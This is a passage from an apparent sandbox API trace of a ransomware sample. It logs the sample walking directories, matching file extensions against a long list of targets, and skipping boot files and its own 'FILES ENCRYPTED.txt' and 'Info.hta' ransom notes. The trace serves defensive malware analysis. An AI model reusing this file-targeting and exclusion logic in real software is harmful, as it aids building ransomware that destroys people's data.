returned -1 [0183.441] lstrlenW (lpString=".dotx") returned 5 [0183.441] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0183.441] lstrlenW (lpString=".dpx") returned 4 [0183.441] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0183.441] lstrlenW (lpString=".dqy") returned 4 [0183.441] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0183.441] lstrlenW (lpString=".dsn") returned 4 [0183.441] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0183.441] lstrlenW (lpString=".dt") returned 3 [0183.441] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0183.441] lstrlenW (lpString=".dtd") returned 4 [0183.441] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0183.441] lstrlenW (lpString=".dwg") returned 4 [0183.441] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0183.441] lstrlenW (lpString=".dwt") returned 4 [0183.441] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0183.441] lstrlenW (lpString=".dx") returned 3 [0183.441] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0183.441] lstrlenW (lpString=".dxf") returned 4 [0183.441] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0183.441] lstrlenW (lpString=".edml") returned 5 [0183.441] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0183.441] lstrlenW (lpString=".efd") returned 4 [0183.441] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0183.441] lstrlenW (lpString=".elf") returned 4 [0183.441] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".emf") returned 4 [0183.442] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".emz") returned 4 [0183.442] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".epf") returned 4 [0183.442] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".eps") returned 4 [0183.442] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".epsf") returned 5 [0183.442] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0183.442] lstrlenW (lpString=".epsp") returned 5 [0183.442] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0183.442] lstrlenW (lpString=".erf") returned 4 [0183.442] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".exr") returned 4 [0183.442] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".f4v") returned 4 [0183.442] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".fido") returned 5 [0183.442] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0183.442] lstrlenW (lpString=".flm") returned 4 [0183.442] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".flv") returned 4 [0183.442] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".frm") returned 4 [0183.442] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".fxg") returned 4 [0183.442] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0183.442] lstrlenW (lpString=".geo") returned 4 [0183.442] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0183.443] lstrlenW (lpString=".gif") returned 4 [0183.443] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0183.443] lstrlenW (lpString=".grs") returned 4 [0183.443] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0183.443] lstrlenW (lpString=".gz") returned 3 [0183.443] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0183.443] lstrlenW (lpString=".h") returned 2 [0183.443] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.443] lstrlenW (lpString=".hdr") returned 4 [0183.443] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0183.443] lstrlenW (lpString=".hpp") returned 4 [0183.443] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0183.443] lstrlenW (lpString=".hta") returned 4 [0183.443] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0183.443] lstrlenW (lpString=".htc") returned 4 [0183.443] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0183.443] lstrlenW (lpString=".htm") returned 4 [0183.443] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0183.443] lstrlenW (lpString=".html") returned 5 [0183.443] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0183.443] lstrlenW (lpString="index.html") returned 10 [0183.443] lstrlenW (lpString=".NEWS") returned 5 [0183.443] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0183.443] lstrlenW (lpString="index.html") returned 10 [0183.443] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0183.443] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0183.443] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0183.443] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0183.443] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0183.443] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0183.443] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0183.443] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0183.443] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html") returned 111 [0183.444] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.444] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.444] lstrlenW (lpString=".1cd") returned 4 [0183.444] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.444] lstrlenW (lpString=".3ds") returned 4 [0183.444] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.444] lstrlenW (lpString=".3fr") returned 4 [0183.444] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.444] lstrlenW (lpString=".3g2") returned 4 [0183.444] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.444] lstrlenW (lpString=".3gp") returned 4 [0183.444] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.444] lstrlenW (lpString=".7z") returned 3 [0183.444] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.444] lstrlenW (lpString=".accda") returned 6 [0183.444] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.444] lstrlenW (lpString=".accdb") returned 6 [0183.444] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.444] lstrlenW (lpString=".accdc") returned 6 [0183.444] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.444] lstrlenW (lpString=".accde") returned 6 [0183.444] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.444] lstrlenW (lpString=".accdt") returned 6 [0183.444] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.444] lstrlenW (lpString=".accdw") returned 6 [0183.444] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.444] lstrlenW (lpString=".adb") returned 4 [0183.444] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.444] lstrlenW (lpString=".adp") returned 4 [0183.444] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.444] lstrlenW (lpString=".ai") returned 3 [0183.445] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.445] lstrlenW (lpString=".ai3") returned 4 [0183.445] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".ai4") returned 4 [0183.445] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".ai5") returned 4 [0183.445] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".ai6") returned 4 [0183.445] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".ai7") returned 4 [0183.445] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".ai8") returned 4 [0183.445] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".anim") returned 5 [0183.445] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.445] lstrlenW (lpString=".arw") returned 4 [0183.445] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".as") returned 3 [0183.445] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.445] lstrlenW (lpString=".asa") returned 4 [0183.445] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".asc") returned 4 [0183.445] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".ascx") returned 5 [0183.445] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.445] lstrlenW (lpString=".asm") returned 4 [0183.445] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".asmx") returned 5 [0183.445] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.445] lstrlenW (lpString=".asp") returned 4 [0183.445] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.445] lstrlenW (lpString=".aspx") returned 5 [0183.445] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.445] lstrlenW (lpString=".asr") returned 4 [0183.446] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.446] lstrlenW (lpString=".asx") returned 4 [0183.446] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.446] lstrlenW (lpString=".avi") returned 4 [0183.446] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.446] lstrlenW (lpString=".avs") returned 4 [0183.446] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.446] lstrlenW (lpString=".backup") returned 7 [0183.446] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.446] lstrlenW (lpString=".bak") returned 4 [0183.446] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.446] lstrlenW (lpString=".bay") returned 4 [0183.446] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.446] lstrlenW (lpString=".bd") returned 3 [0183.446] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.446] lstrlenW (lpString=".bin") returned 4 [0183.446] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.446] lstrlenW (lpString=".bmp") returned 4 [0183.446] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.446] lstrlenW (lpString=".bz2") returned 4 [0183.446] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.446] lstrlenW (lpString=".c") returned 2 [0183.446] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.446] lstrlenW (lpString=".cdr") returned 4 [0183.446] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.446] lstrlenW (lpString=".cer") returned 4 [0183.446] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.577] lstrlenW (lpString=".cf") returned 3 [0183.577] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.577] lstrlenW (lpString=".cfc") returned 4 [0183.577] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.577] lstrlenW (lpString=".cfm") returned 4 [0183.577] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.577] lstrlenW (lpString=".cfml") returned 5 [0183.577] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.578] lstrlenW (lpString=".cfu") returned 4 [0183.578] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.578] lstrlenW (lpString=".chm") returned 4 [0183.578] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.578] lstrlenW (lpString=".cin") returned 4 [0183.578] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.578] lstrlenW (lpString=".class") returned 6 [0183.578] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.578] lstrlenW (lpString=".clx") returned 4 [0183.578] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.578] lstrlenW (lpString=".config") returned 7 [0183.578] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.578] lstrlenW (lpString=".cpp") returned 4 [0183.578] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.578] lstrlenW (lpString=".cr2") returned 4 [0183.578] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.578] lstrlenW (lpString=".crt") returned 4 [0183.578] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.578] lstrlenW (lpString=".crw") returned 4 [0183.578] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.578] lstrlenW (lpString=".cs") returned 3 [0183.578] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.578] lstrlenW (lpString=".css") returned 4 [0183.578] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.578] lstrlenW (lpString=".csv") returned 4 [0183.578] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".cub") returned 4 [0183.579] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".dae") returned 4 [0183.579] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".dat") returned 4 [0183.579] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".db") returned 3 [0183.579] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.579] lstrlenW (lpString=".dbf") returned 4 [0183.579] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".dbx") returned 4 [0183.579] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".dc3") returned 4 [0183.579] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".dcm") returned 4 [0183.579] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".dcr") returned 4 [0183.579] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".der") returned 4 [0183.579] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".dib") returned 4 [0183.579] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".dic") returned 4 [0183.579] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".dif") returned 4 [0183.579] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".divx") returned 5 [0183.579] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.579] lstrlenW (lpString=".djvu") returned 5 [0183.579] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.579] lstrlenW (lpString=".dng") returned 4 [0183.579] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".doc") returned 4 [0183.579] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.579] lstrlenW (lpString=".docm") returned 5 [0183.580] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.580] lstrlenW (lpString=".docx") returned 5 [0183.580] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.580] lstrlenW (lpString=".dot") returned 4 [0183.580] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.580] lstrlenW (lpString=".dotm") returned 5 [0183.580] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.580] lstrlenW (lpString=".dotx") returned 5 [0183.580] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.580] lstrlenW (lpString=".dpx") returned 4 [0183.580] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.580] lstrlenW (lpString=".dqy") returned 4 [0183.580] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.580] lstrlenW (lpString=".dsn") returned 4 [0183.580] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.580] lstrlenW (lpString=".dt") returned 3 [0183.580] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.580] lstrlenW (lpString=".dtd") returned 4 [0183.580] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.580] lstrlenW (lpString=".dwg") returned 4 [0183.580] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.580] lstrlenW (lpString=".dwt") returned 4 [0183.580] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.580] lstrlenW (lpString=".dx") returned 3 [0183.580] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.580] lstrlenW (lpString=".dxf") returned 4 [0183.580] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".edml") returned 5 [0183.581] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.581] lstrlenW (lpString=".efd") returned 4 [0183.581] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".elf") returned 4 [0183.581] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".emf") returned 4 [0183.581] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".emz") returned 4 [0183.581] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".epf") returned 4 [0183.581] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".eps") returned 4 [0183.581] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".epsf") returned 5 [0183.581] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.581] lstrlenW (lpString=".epsp") returned 5 [0183.581] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.581] lstrlenW (lpString=".erf") returned 4 [0183.581] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".exr") returned 4 [0183.581] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".f4v") returned 4 [0183.581] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".fido") returned 5 [0183.581] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.581] lstrlenW (lpString=".flm") returned 4 [0183.581] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".flv") returned 4 [0183.581] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.581] lstrlenW (lpString=".frm") returned 4 [0183.582] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.582] lstrlenW (lpString=".fxg") returned 4 [0183.582] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.582] lstrlenW (lpString=".geo") returned 4 [0183.582] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.582] lstrlenW (lpString=".gif") returned 4 [0183.582] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.582] lstrlenW (lpString=".grs") returned 4 [0183.582] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.582] lstrlenW (lpString=".gz") returned 3 [0183.582] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.582] lstrlenW (lpString=".h") returned 2 [0183.582] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.582] lstrlenW (lpString=".hdr") returned 4 [0183.582] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.582] lstrlenW (lpString=".hpp") returned 4 [0183.582] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.582] lstrlenW (lpString=".hta") returned 4 [0183.582] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.582] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0183.583] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.583] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.583] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.584] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.584] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1 [0183.584] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.585] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.585] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.585] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.585] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.586] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.586] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.586] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.587] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, 